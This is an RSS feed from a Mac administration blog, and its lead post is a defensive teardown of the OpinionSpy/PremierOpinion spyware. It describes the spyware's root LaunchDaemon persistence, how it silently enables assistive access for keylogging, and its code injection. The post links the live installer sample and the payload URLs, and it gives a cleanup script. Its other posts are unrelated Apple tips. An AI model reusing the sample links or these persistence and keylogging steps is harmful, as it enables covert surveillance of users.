<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>brunerd &#187; Apple</title>
	<atom:link href="http://www.brunerd.com/blog/category/apple/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.brunerd.com/blog</link>
	<description>pushin' bytes around</description>
	<lastBuildDate>Fri, 04 Jun 2010 15:55:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Tearing apart OpinionSpy</title>
		<link>http://www.brunerd.com/blog/2010/06/03/tearing-apart-opinionspy/</link>
		<comments>http://www.brunerd.com/blog/2010/06/03/tearing-apart-opinionspy/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 19:34:08 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=188</guid>
		<description><![CDATA[Updated: I&#8217;ve linked text files of string dumps to the binaries thoughout the article, I suppose not everyone wants to install and run the code to find out themselves! Another OS X malware media darling is out there, but it&#8217;s not the DNS changing kind that RSPlug-F was. Rather this one has a lot more [...]]]></description>
			<content:encoded><![CDATA[<p><em>Updated: I&#8217;ve linked text files of string dumps to the binaries thoughout the article, I suppose not everyone wants to install and run the code to find out themselves! <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </em></p>
<p>Another OS X malware <a href="http://www.google.com/search?client=safari&amp;rls=en&amp;q=OpinionSpy&amp;oe=UTF-8&amp;um=1&amp;ie=UTF-8&amp;tbo=u&amp;tbs=nws:1&amp;source=og&amp;sa=N&amp;hl=en&amp;tab=wn" target="_blank">media darling</a> is out there, but it&#8217;s not the DNS changing kind that <a href="http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/" target="_blank">RSPlug-F</a> was. Rather this one has a <strong>lot</strong> more code in it, active code that is watching keystrokes, monitoring AIM, MSN, Yahoo, and iChat messengers and more.</p>
<p>So I found a <a href="http://www.brunerd.com/blog/wp-content/uploads/poinstaller.zip">sample</a> (this is the actual installer careful, folks) in the MishInc FLV To MP3 converter. Which is just a <a href="http://en.wikipedia.org/wiki/JAR_(file_format)" target="_blank">.jar</a> file, put .zip at the end and you can see the guts when expanded. However, it&#8217;s a self extracting installer using iZPack so it&#8217;s easier just to run it and let it unpack. Here&#8217;s some screenshots:</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/1.png"><img class="alignnone size-thumbnail wp-image-189" title="MishInc MP3 Install Screen 1" src="http://www.brunerd.com/blog/wp-content/uploads/1-150x150.png" alt="" width="150" height="150" /></a></p>
<p>Nothing much in there</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/2.png"><img class="alignnone size-medium wp-image-191" title="Premiere Opinion Accept/Disagree" src="http://www.brunerd.com/blog/wp-content/uploads/2-300x233.png" alt="" width="300" height="233" /></a></p>
<p>Jackpot on the 2nd screen, here&#8217;s the goods. Note, if you click I disagree, the software is not installed! Not <em>too</em> mal. Here&#8217;s the text from <a href="http://www.voicefive.com/About.aspx" target="_blank">VoiceFive</a>&#8216;s agreement:</p>
<blockquote><p>In order to provide this free download of MiMAC FLV To Mp3 Converter, PremierOpinion software, provided by VoiceFive, Inc., is included in this download. This software allows millions of participants in an online market research community to voice their opinions by <strong>allowing their online browsing and purchasing behavior to be monitored, collected</strong>, and once <strong>anonymized</strong>, used to create market reports, materials and other forms of analysis that may be shared with our clients to help our clients understand Internet trends and patterns and other market research purposes. The information which is monitored and collected includes internet usage information, basic demographic information, certain hardware, software, computer configuration and application usage information about the computer on which you install PremierOpinion.</p>
<p>We may use the<strong> information that we monitor, such as name and address</strong>, to better understand your household demographics; for example, we may combine the information that you provide us with additional information from consumer data brokers and other data sources in accordance with our privacy policy. We make <strong>commercially viable efforts</strong> to automatically filter confidential personally identifiable information and to purge our databases of such information about our panelists when inadvertently collected.</p>
<p>By clicking I Agree, you acknowledge that you are 18 years of age or older, an authorized user of this computer, and that you have read, agreed to, and have obtained the consent to the terms and conditions of the Privacy Statement and User License Agreement from anyone who will be using the computer on which you install this application.</p></blockquote>
<p>Does anyone else find it odd that they say your info is anonymized, but then go on to use an example of information they monitor is name and address?! But not worry, commercially viable efforts will be used to filter that out. Does that mean if it&#8217;s too expensive they won&#8217;t bother doing a really good job? Nonetheless for this installer, if you say I Disagree you are able to continue to install the MP3 converter without PremierOpinion installing.</p>
<p>But let&#8217;s say: <em>I agree</em> for the heck of it <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>First it drops two files in <code>/private/tmp</code>: <code><a href="http://www.brunerd.com/blog/wp-content/uploads/script.sh.txt" target="_self">script.sh</a></code> which simply makes the other file, <code><a href="http://www.brunerd.com/blog/wp-content/uploads/poinstallerstrings.txt">poinstaller</a></code>, executable. If you are connected to the internet it then downloads two folders: <code>installtmp</code> and <code>tapinstaller</code>, both folders have the exact same binary called <code><a href="http://www.brunerd.com/blog/wp-content/uploads/PremierOpinionstrings.txt">PremierOpinion</a>(496KB)</code>, <code>installtmp</code> has a different sized <code>poinstaller</code> binary and <code>tapinstaller</code> contains <code><a href="http://www.brunerd.com/blog/wp-content/uploads/upgrade.xml_.txt" target="_self">upgrade.xml</a></code>, which contains a link to a file called <code><a href="http://www.brunerd.com/blog/wp-content/uploads/rule14.xml_.txt">rule14.xml</a></code>, found on a server at <code>post.securestudies.com</code>. Downloading <a href="http://post.securestudies.com/config/packages/pm/rule14.xml">rule14.xml</a> from them you get a link to the latest <a href="https://post.securestudies.com/config/packages/pm/PremierOpinion.zip">PremierOpinion.zip</a> and the version numbers of the expected support libraries and essential files.</p>
<p><code><a href="http://www.brunerd.com/blog/wp-content/uploads/poinstallerstrings.txt">pointsaller</a></code> has some Applescript to open the survey window in Safari and things like getting &#8220;campaign ids&#8221;, doing shell scripts with admin privileges, references to MacSniffer (a TCP packet sniffer), and more. Also while looking at the strings of poinstaller you&#8217;ll find reference not only to <code>post.securestudies.com</code> found but also <code>it.kingroutecn.com</code> which has the same <code>rule14.xml</code> but instead of <code>PremierOpinion</code> you get <code>PermissionResearch</code>. Doing some digging, it can be discovered that <a href="1http://www.voicefive.com/About.aspx" target="_blank">VoiceFive</a>, <a href="https://www.permissionresearch.com/Benefits.aspx" target="_blank">Permission Research</a> (which has many <em><a href="https://www.permissionresearch.com/ScreensaversDescription.aspx" target="_blank">screensavers</a></em> to download), and <a href="http://www.premieropinion.com/Home.aspx" target="_blank">Premier Opinion</a> are all in the same network block as <a href="http://news.google.com/news/search?pz=1&amp;cf=all&amp;ned=us&amp;hl=en&amp;q=ComScore">ComScore</a>, a multi-headed hydra of <a href="http://comscore.com/About_comScore/comScore_History" target="_blank">consumer buying</a> insight.</p>
<p>Now back to the Chinese server (which is not used to download the payload, perhaps, only in China?) digging <code>it.kingroutecn.com</code> gives you <code>218.108.8.85</code>, doing a reverse lookup gives  <code>hidden-master.hzman.net</code>, doing a reverse lookup gives you <code>127.0.0.1</code> that is you!? Whois on <code>it.kingroutecn.com</code> and <code>hidden-master.hzman.net</code> will point to <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=30.278739,120.158243&amp;sll=37.0625,-95.677068&amp;sspn=56.375007,79.453125&amp;ie=UTF8&amp;ll=30.27916,120.157456&amp;spn=0.007607,0.009699&amp;t=h&amp;z=17" target="_blank">Hangzhou, China</a>, a very big city just southwest of Shanghai (it looks smoggy in Google Maps). The question is why are their two similar packages being served from the US and China? And why is the <a href="http://it.kingroutecn.com:8081/oss/PermissionResearch.zip">Chinese version</a> newer (2.3.0.69 vs. 2.2.0.59)?</p>
<p>Anyway, Woodward and Bernstein aside, during all this unpacking of files in <code>/private/tmp</code> an <a href="http://www.brunerd.com/blog/wp-content/uploads/auth.png" target="_self">authentication window</a> asking for system.privelege.admin, that is to say, it wants root privileges. If you say yes, you&#8217;ll get a launchd daemon running as root installed to <code>/Library/LaunchDaemons/<a href="http://www.brunerd.com/blog/wp-content/uploads/PremierOpinion.plist_.txt">PremierOpinion.plist</a></code>, it&#8217;s an on-demand daemon that will respawn the <code>PremierOpinion</code> process if you try killing it in Activity Monitor. Respawning calls the <code>RunPremierOpinion.sh</code> script from <code>/Application/PremierOpinion</code> folder, it checks to see if you have Access for Assistive Devices enabled this is essential to logging your keystrokes. It does this by simply touching <code>/private/var/db/.AccessibilityAPIEnabled</code>, which can only be done by root, but it&#8217;s already running as that no prob! What&#8217;s weird about this file is that when you turn on Access for Assistive Devices via the GUI in System Preferences it creates the file with the single character &#8216;a&#8217; but OS X will still activate the service if the file is created  and is 0 bytes. After installing a Safari window will pop up asking you who uses the computer, the ages of the folks using it, and other tidbits, you can see <a href="http://www.premieropinion.com/Home.aspx" target="_blank">here</a>. When this app upgrades itself you will find a folder at <code>/private/tmp/autoupgrade</code> which has the same contents of <code>/Applications/PremierOpinion</code>.</p>
<p>So <code>/Applications/PremierOpinion</code> has quite a few things inside, libraries, scripts, and an Uninstaller (?!), and <code>PremierOpinion.app</code>. Inside the app is some Code Signing, the <a href="http://www.brunerd.com/blog/wp-content/uploads/PremierOpinionstrings1.txt">binary</a> (a much bigger 3.6MB version), and in Resources it contains <code>survey.nib, systemtray.nib and InjectCode.app</code>, which inside has <a href="http://github.com/rentzsch/mach_star" target="_blank">code</a> from Jonathan Rentzsch used for mach code injection*, taken from Growl&#8217;s 1.2 source code and recompiled by user huangxianghua as seen in the string: <code>/Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/mach_inject_bundle</code></p>
<p>Further and further down the rabbit hole, but let&#8217;s just run the Uninstaller. It deletes the folder in Applications but the process remains as well as the LaunchDaemon and all the files in <code>/private/tmp</code>, however on reboot the process is indeed not running, <code>/private/tmp</code> is cleaned out, but the LaunchDaemon and Assistive Access remains on.</p>
<p>So here&#8217;s an uninstall script of my own (disconnect all network conections first, in case it is logging keystrokes, it might grab your password):<br />
<code><br />
sudo launchctl unload -w /Library/LaunchDaemons/PremierOpinion.plist<br />
sudo rm /private/tmp/poinstaller<br />
sudo rm /private/tmp/script.sh<br />
sudo rm -rf /private/tmp/installtmp<br />
sudo rm -rf /private/tmp/autoupgrade<br />
sudo rm -rf /private/tmp/tapinstaller<br />
sudo rm -rf /Applications/PremierOpinion<br />
sudo rm /private/var/db/.AccessibilityAPIEnabled</code></p>
<p>That should do it.</p>
<p>For extra insight, try running the PremierOpinion or PermissionResearch binary from the command line as root, there is all sorts of info to be found when it writes to stdout, such as when it starts a service port 8254: <code>2010-06-03 15:59:06.175 PermissionResearch[1658:60f] Starting server on port 8254</code> and, surf around a little, it&#8217;ll  report on the YouTube videos you are watching and other things it deems interesting.</p>
<p>Extra extra credit run a <a href="http://www.brunerd.com/blog/wp-content/uploads/Sample-of-PermissionResearch.txt" target="_blank">Sample</a> on it from Activity monitor and see what it&#8217;s doing: FileInventoryTask::MainTask(void*), file inventory eh, that&#8217;s why it&#8217;s eating up 30% of my CPU!</p>
<p>Hmmm, enough rabbit hole adventures for today, comments are welcome.</p>
<p>Oh yes, and  PowerPC  folks don&#8217;t worry, they didn&#8217;t compile for PPC <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>*Update:</p>
<p>To go on further about the injection aka <a href="http://www.google.com/search?client=safari&amp;rls=en&amp;q=method+swizzling&amp;ie=UTF-8&amp;oe=UTF-8" target="_blank">Method swizzling</a> code. This is where you have your code respond to a message call instead of the original code, the power in this is that you can get in the middle of the internal calls and do what you will with their data but then pass them on to the original method. So they probably are swizzling methods in Safari or perhaps at the network layer so they can see what you are downloading, watching, etc. Combined with packet sniffer &#8216;all your data are belong to them&#8217;. However please take note that these the reason this app can do this is because you&#8217;ve given them the keys to the castle by authenticating it as root, the technologies it&#8217;s leveraging aren&#8217;t inherently nefarious, rather fundamental and and essential to system operation, if root can&#8217;t do it then who can? This is where either it falls on the user or the OS needs to be better about protecting the user from themselves, perhaps the OS could sandbox downloaded apps with very restrictive settings, alerting you when it attempts something privileged, although this can desensitize a user quickly to clicking Agree. Nonetheless this is a defining conundrum of this century. The power of personal computers is being subverted for the nefarious gain of others and we need to defend against it, the era of curated computing might be ushered in because of this. We&#8217;ve seen it so many times, when good things get used for bad purposes, there&#8217;s a sea change. <a href="http://www.youtube.com/watch?v=ijPE7fe4XTg" target="_blank">Crises precipitates change.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2010/06/03/tearing-apart-opinionspy/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>iPad Camera Hole Visible on Letterman Show</title>
		<link>http://www.brunerd.com/blog/2010/04/02/ipad-camera-hole-visible-on-letterman-show/</link>
		<comments>http://www.brunerd.com/blog/2010/04/02/ipad-camera-hole-visible-on-letterman-show/#comments</comments>
		<pubDate>Fri, 02 Apr 2010 18:38:19 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[ipad speculation]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=174</guid>
		<description><![CDATA[We all know its there&#8230; the hole that is&#8230; Wired noticed it. Mission Repair (link down now) might have violated NDAs when they showed pictures of the frame repair part, and you might have noticed some frames from the Oscar&#8217;s commercial that weren&#8217;t color corrected where it&#8217;s visible [Youtube] [Apple] ~(@4-5 sec), and now in [...]]]></description>
			<content:encoded><![CDATA[<p>We all know its there&#8230; the hole that is&#8230; <a href="http://www.wired.com/gadgetlab/2010/02/apple-ipad-may-ship-with-webcam/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+wired%2Findex+%28Wired%3A+Index+3+%28Top+Stories+2%29%29" target="_blank">Wired</a> noticed it. <a href="http://www.missionrepair.com/Mission_Repair_iPad_Repair_Service_s/431.htm" target="_self">Mission Repair</a> (link down now) might have violated NDAs when they showed pictures of the frame repair part, and you might have noticed some frames from the Oscar&#8217;s commercial that weren&#8217;t color corrected where it&#8217;s visible [<a href="http://www.youtube.com/watch?v=q9KTnsGsd_0" target="_blank">Youtube</a>] [<a href="http://www.apple.com/ipad/gallery/#ad" target="_blank">Apple</a>] ~(@4-5 sec), and now in the very uncontrolled setting of David Letterman&#8217;s show (wow, Apple leap of faith giving it to Dave!), there it is again. Anyway, perhaps you can tell? It&#8217;s in the 42-44sec range on the <a href="http://www.youtube.com/watch?v=EqwI-Myg9Bo" target="_blank">Youtube clip</a>, and for those that don&#8217;t have access to YouTube, here&#8217;s the small snippet without sound (don&#8217;t sue me CBS! Fair Use!) I used the WordPress code, and it looks really janky in this theme&#8230; oh well! Decide for yourselves&#8230;</p>
<p><object classid="clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b" width="640" height="360" codebase="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0"><param name="loop" value="true" /><param name="cache" value="true" /><param name="src" value="http://www.brunerd.com/blog/wp-content/uploads/iPad-Camera-Hole-desktop.m4v" /><embed type="video/quicktime" width="640" height="360" src="http://www.brunerd.com/blog/wp-content/uploads/iPad-Camera-Hole-desktop.m4v" cache="true" loop="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2010/04/02/ipad-camera-hole-visible-on-letterman-show/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
<enclosure url="http://www.brunerd.com/blog/wp-content/uploads/iPad-Camera-Hole-desktop.m4v" length="372223" type="video/x-m4v" />
		</item>
		<item>
		<title>iTunes 9.0.3 Zoom and mini Player</title>
		<link>http://www.brunerd.com/blog/2010/02/04/itunes-9-0-3-zoom-and-mini-player/</link>
		<comments>http://www.brunerd.com/blog/2010/02/04/itunes-9-0-3-zoom-and-mini-player/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 23:06:31 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[OS X]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=150</guid>
		<description><![CDATA[Why is iTunes messing with my shortcuts again? So here&#8217;s the deal: since iTunes version who-the-hell-knows it&#8217;d go to the mini player when you press Command-Option-Z, then iTunes 9 changed it all and made it fill the screen. iTunes 9.0.1 restored the Zoom functionality, then 9.0.3 took it away. So&#8230; Now for mini Player you [...]]]></description>
			<content:encoded><![CDATA[<p>Why is iTunes messing with my shortcuts again?</p>
<p>So here&#8217;s the deal: since iTunes version who-the-hell-knows it&#8217;d go to the mini player when you press Command-Option-Z, then iTunes 9 changed it all and made it fill the screen. iTunes 9.0.1 restored the Zoom functionality, then 9.0.3 took it away. So&#8230;</p>
<p>Now for mini Player you have to do a Command-Shift-M<br />
I can&#8217;t do that with my left hand alone! That&#8217;s how I used to work!<br />
Right hand on the mouse, left hand by the keyboard.<br />
Now it&#8217;s two handed operation. Boo.</p>
<p>Update:<br />
It might be possible with a modified &#8220;I love you&#8221; hand sign to accomplish this, which is ironic since I don&#8217;t like this key combo <strong>at all!</strong><br />
<a href="http://www.brunerd.com/blog/wp-content/uploads/minikeycombo.jpg"><img class="size-medium wp-image-171 aligncenter" title="Mini Player Key Combo: I Don't Love You" src="http://www.brunerd.com/blog/wp-content/uploads/photo-300x228.jpg" alt="" width="300" height="228" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2010/02/04/itunes-9-0-3-zoom-and-mini-player/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Snow Leopard AD Binding misnomer</title>
		<link>http://www.brunerd.com/blog/2009/09/02/snow-leopard-ad-binding-misnomer/</link>
		<comments>http://www.brunerd.com/blog/2009/09/02/snow-leopard-ad-binding-misnomer/#comments</comments>
		<pubDate>Wed, 02 Sep 2009 21:11:44 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[OS X]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=146</guid>
		<description><![CDATA[The misnomer being &#8220;Server Address&#8221;, it should really be &#8220;Domain Name&#8221;. When you point to a specific domain controller, it will fail. This is because it looks for SRV records in DNS that are only available at the domain level. So trying dc01.meco.com it will look for _ldap._tcp.dc01.pretendco.com and not find it. However a lookup [...]]]></description>
			<content:encoded><![CDATA[<p>The misnomer being &#8220;Server Address&#8221;, it should really be &#8220;Domain Name&#8221;.<br />
When you point to a specific domain controller, it will fail.</p>
<p>This is because it looks for SRV records in DNS that are only available at the domain level.<br />
So trying dc01.meco.com it will look for _ldap._tcp.dc01.pretendco.com and not find it.</p>
<p>However a lookup of _ldap._tcp.pretendco.com if set up properly will work.<br />
dig -t SRV _ldap._tcp.pretendco.com</p>
<p>The misleading label of &#8220;Server Address&#8221; is the culprit.<br />
It should read <strong>Domain Name</strong>.</p>
<p>Hope that helps some people&#8230;<br />
(Now I just need to get the AD admin at my work to get the _gc._tcp SRV record published!)</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/10.6_binding.png"><img class="alignnone size-medium wp-image-147" title="10.6_binding" src="http://www.brunerd.com/blog/wp-content/uploads/10.6_binding-300x165.png" alt="10.6_binding" width="300" height="165" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/09/02/snow-leopard-ad-binding-misnomer/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Apple Keyboard A1243 Disassembly</title>
		<link>http://www.brunerd.com/blog/2009/08/25/apple-keyboard-a1243-disassembly/</link>
		<comments>http://www.brunerd.com/blog/2009/08/25/apple-keyboard-a1243-disassembly/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 16:31:18 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=130</guid>
		<description><![CDATA[So &#8211; you (or one of your users) spills coffee on an Apple keyboard &#8212; what to do? Well with previous models, they could disassembled with some some effort, and be washed. (G5 KB, G4 KB, &#38; more) Well I don&#8217;t think this is gonna be happening for the new keyboards&#8230; First, no screws, only [...]]]></description>
			<content:encoded><![CDATA[<p>So &#8211; you (or one of your users) spills coffee on an Apple keyboard &#8212; what to do?<br />
Well with previous models, they could disassembled with some some effort, and be washed. (<a href="http://www.applefritter.com/node/19402" target="_blank">G5 KB</a>, <a href="http://technology.niagarac.on.ca/people/bgracey/prokeyboardrepair.html" target="_blank">G4 KB</a>, &amp; <a href="http://repair4keyboard.org/disassembly_apple.html" target="_blank">more</a>)<br />
Well I don&#8217;t think this is gonna be happening for the new keyboards&#8230;<br />
First, no screws, only adhesive and welds.</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/IMG_0072.JPG"><img class="alignnone size-medium wp-image-131" title="Putty Knife in Keyboard" src="http://www.brunerd.com/blog/wp-content/uploads/IMG_0072-300x150.jpg" alt="Putty Knife in Keyboard" width="300" height="150" /></a></p>
<p>You can work it open with a putty knife. Avoid the red areas at the top, that is the extent of the arms of the ribbon cable inside, a putty knife will wreck them quite quickly.</p>
<p>Once you worked the putty knife all around the safe areas, attempt to pull the white plastic bottom (with a metal backer glued to it) open like a book, pivoting on the area you couldn&#8217;t work around.</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/IMG_0071.jpg"><img class="alignnone size-medium wp-image-134" title="Keyboard Sticky Back" src="http://www.brunerd.com/blog/wp-content/uploads/IMG_0071-300x225.jpg" alt="Keyboard Sticky Back" width="300" height="225" /></a></p>
<p>That&#8217;s about it&#8230; You can unscrew the USB interface from the white plastic well, but the cord is captive, because the wires are soldered to the board. You can desolder the wires from the board or snip the white plastic if you want take the board out.</p>
<p>The keyboard itself is attached to the aluminum top with 147 welds, rather than the ~30 screws it used to have.</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/IMG_0061.jpg"><img class="alignnone size-medium wp-image-133" title="Keyboard back and Aluminum Top" src="http://www.brunerd.com/blog/wp-content/uploads/IMG_0061-300x225.jpg" alt="Keyboard back and Aluminum Top" width="300" height="225" /></a></p>
<p>I was able to pull it off using some vice grips on a corner I pried up.<br />
There&#8217;s no going back after this, both frames will bend and warp as the welds pop off.</p>
<p>So you&#8217;ll be left with a bunch of keys still attached to the keyboard on little white plastic clips in various ways.</p>
<p>These keys are all attached the same and are easy to take off: Top row keys, arrow keys, Option, Command, Shift, return, tab, caps lock, Space.<br />
They will have a plastic mechanical that has small plastic tabs in the metal frame, just push the tiny nub out of the fram and key is free.<br />
The letter keys however I found difficult, the key top can be taken off easily by pulling up <strong>sideways</strong> but the plastic underneath is hooked on top and bottom by the metal frame. It needs to be pushed from the bottom toward the top and a black stick put under the top corner so it pops off the frame&#8217;s hook, the same can be done, for the other side, or if you twist it right, it will unhook from the bottom and come off.</p>
<p>After you have taken all the bottom plastic key mechanicals off, you can easily take off the two plastic layers.</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/IMG_0062.jpg"><img class="alignnone size-medium wp-image-135" title="Keyboard Bottom Layers" src="http://www.brunerd.com/blog/wp-content/uploads/IMG_0062-300x225.jpg" alt="Keyboard Bottom Layers" width="300" height="225" /></a></p>
<p>The top layer is a simple plastic sheet with the rubber nipples that press down and give the keys spring.</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/IMG_0065.jpg"><img class="alignnone size-medium wp-image-136" title="Keyboard Top Plastic" src="http://www.brunerd.com/blog/wp-content/uploads/IMG_0065-300x225.jpg" alt="Keyboard Top Plastic" width="300" height="225" /></a></p>
<p>The next layer is new, what was once three sheets (two sheets of circuit traces and a buffer in between) is now one laminated whole . While you&#8217;d hope this makes the keyboard more impervious to spills and perhaps it does, it precludes the ability to wash and dry like the old keyboards. (You had to act quick though, coffee and coke eat though the traces really fast!) Putty knives are also really bad for circuit traces (see the mangled ribbon cable)</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/IMG_0068.jpg"><img class="alignnone size-medium wp-image-137" title="Keyboard Trace Layer" src="http://www.brunerd.com/blog/wp-content/uploads/IMG_0068-300x225.jpg" alt="Keyboard Trace Layer" width="300" height="225" /></a> <a href="http://www.brunerd.com/blog/wp-content/uploads/IMG_0069.JPG"><img class="alignnone size-medium wp-image-138" title="Keyboard Trace Sammich" src="http://www.brunerd.com/blog/wp-content/uploads/IMG_0069-300x225.jpg" alt="Keyboard Trace Sammich" width="300" height="225" /></a></p>
<p>Well that&#8217;s about all I learned, next time perhaps I will try simply soaking the keyboard in water then drying for a week or two, but a chance at some first hand dissection was too tempting. <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/IMG_0070.JPG"><img class="alignnone size-medium wp-image-139" title="Keyboard Finale" src="http://www.brunerd.com/blog/wp-content/uploads/IMG_0070-300x225.jpg" alt="Keyboard Finale" width="300" height="225" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/08/25/apple-keyboard-a1243-disassembly/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>bash architecture mismatch in Tiger intel builds</title>
		<link>http://www.brunerd.com/blog/2009/06/11/bash-architecture-mismatch-in-tiger-intel-builds/</link>
		<comments>http://www.brunerd.com/blog/2009/06/11/bash-architecture-mismatch-in-tiger-intel-builds/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 21:35:59 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[OS X]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=125</guid>
		<description><![CDATA[Tiger, I know, ancient history&#8230; Well, I&#8217;ve stumbled on an old oddity with bash on intel builds of Tiger: Bash thinks its running on a PPC machine!? At least the environment variables think so&#8230; $ arch i386 $ echo $HOSTTYPE powerpc $echo $MACHTYPE powerpc-apple-darwin8.0 This might only affect those who are using Fink or building [...]]]></description>
			<content:encoded><![CDATA[<p>Tiger, I know, ancient history&#8230;<br />
Well, I&#8217;ve stumbled on an old oddity with bash on intel builds of Tiger:<br />
Bash thinks its running on a PPC machine!?<br />
At least the environment variables think so&#8230;<br />
<code>$ arch<br />
i386<br />
$ echo $HOSTTYPE<br />
powerpc<br />
$echo $MACHTYPE<br />
powerpc-apple-darwin8.0<br />
</code></p>
<p>This might only affect those who are using Fink or building your apps, or those who like things to be right.</p>
<p>Append these lines to /etc/profile, using <code>sudo nano /etc/profile</code><br />
<code>HOSTTYPE=i386<br />
MACHTYPE=i386-apple-darwin8.0<br />
export HOSTTYPE<br />
export MACHTYPE</code></p>
<p>Now the one thing this won&#8217;t do is affect the 5th element of the BASH_VERSINFO array, it seems to be readonly&#8230; so if you are very adventurous you can go into /bin/bash with a <a href="http://www.suavetech.com/0xed/0xed.html">Hex Editor</a> and <strong>overwrite</strong> the first two &#8216;powerpc&#8217; references with i386 (the second set of powerpc refs are correct that is the ppc portion of the fat binary), don&#8217;t move the start of of string, just pad the end with zeros (NULL) and it will affect this variable as well.</p>
<p>Alright, now it&#8217;s in &#8220;The Google&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/06/11/bash-architecture-mismatch-in-tiger-intel-builds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10.5.7 is out now</title>
		<link>http://www.brunerd.com/blog/2009/05/12/1057-is-out-now/</link>
		<comments>http://www.brunerd.com/blog/2009/05/12/1057-is-out-now/#comments</comments>
		<pubDate>Tue, 12 May 2009 20:13:12 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[OS X]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=111</guid>
		<description><![CDATA[Just to be the near first to say&#8230; 10.5.7 is out as well as security updates for PPC and Intel. Only via software update right now&#8230; standalone packages soon to follow. 10.5.7 Release Notes are here]]></description>
			<content:encoded><![CDATA[<p>Just to be the near first to say&#8230; 10.5.7 is out as well as security updates for PPC and Intel. Only via software update right now&#8230; standalone packages soon to follow. 10.5.7 Release Notes are <a href="http://support.apple.com/kb/HT3397">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/05/12/1057-is-out-now/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tearing Apart OSX/RSPlug-F</title>
		<link>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/</link>
		<comments>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 19:51:39 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Industry]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>
		<category><![CDATA[Scripting]]></category>
